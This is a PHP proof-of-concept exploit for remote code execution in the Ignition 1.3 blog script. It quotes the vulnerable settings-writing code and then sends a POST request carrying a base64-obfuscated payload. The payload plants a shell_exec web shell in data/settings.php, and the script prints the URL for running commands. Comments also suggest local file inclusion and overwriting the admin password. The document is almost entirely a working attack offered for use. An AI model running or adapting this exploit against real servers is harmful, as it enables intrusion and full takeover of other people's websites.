Ignition 1.3 - Remote Code Execution

<?php

/*

Ignition 1.3 Remote Code Execution Exploit
by cOndemned
download: http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz


source of i-options.php

	1.	<?php
	2.	session_start();
	3.	if ($_POST['submit']) {
	4.	if ($FH = @fopen('data/settings.php', 'w')) {
	5.		@fwrite($FH, '<?php $pass = "'.$_POST['pass'].'";
	6.	$uri = "'.$_POST['uri'].'";
	7.	$suri = "'.$_POST['suri'].'";
	8.	$blogtitle = "'.$_POST['title'].'";
	9.	$description = "'.$_POST['description'].'";
	10.	$postid = "'.$_POST['id'].'";
	11.	$author = "'.$_POST['author'].'";
	12.	$skin = "'.$_POST['skin'].'";
	13.	$gravatar = "'.$_POST['gravatar'].'";
	14.	$twitter = "' . $_POST['twitter'] . '";
	15.	$identica = "' . $_POST['identica'] . '";
	16.	$book = "' . $_POST['book'] . '";
	17.	$game = "' . $_POST['game'] . '";
	18.	$language = "' . $_POST['lang'] . '";
	19.	
	20.	require_once("template.php");
	21.	require_once("lang/$language.php");');
	22.		#fclose($FH);
	23.	}

We can overwrite setting.php by simply sending specially crafted POST request, 
and put some evil code into one of the variables. After running my PoC line with
$language var will be:

	$language = "en";echo @shell_exec($_GET['cmd']);$wtf="";

Where "en" is default language and without filling this field correctly admin 
will see error while trying to access blog index. 

other attacks scenarios:

	- attacker can use $_POST['language'] variable to exploit Local File 
	Inclusion (lines 18 and 21)

	- fill $_POST['pass'] with new password (md5 hashed) to overwrite admins
	password

	- etc...
*/


$target = 'http://localhost/ignition/';

$post = array
(
	'uri'		=> $target,
	'suri'		=> $target,
	'description'	=> 'Just another lame php blog script owned :<',
	'skin'		=> 'default',
	'lang'		=> base64_decode('ZW4iO2VjaG8gQHNoZWxsX2V4ZWMoJF9HRVRbJ2NtZCddKTskd3RmPSI='),
	'submit'	=> 1
);

$sock = curl_init();

curl_setopt_array
(
	$sock, 
	array
	(
		CURLOPT_URL 		=> "$target/i-options.php",
		CURLOPT_RETURNTRANSFER	=> true,
		CURLOPT_POST		=> true,
		CURLOPT_POSTFIELDS	=> http_build_query($post)
	)
);

curl_exec($sock);
curl_close($sock);

echo "Check: $target/data/settings.php?cmd=[system_command]";

?>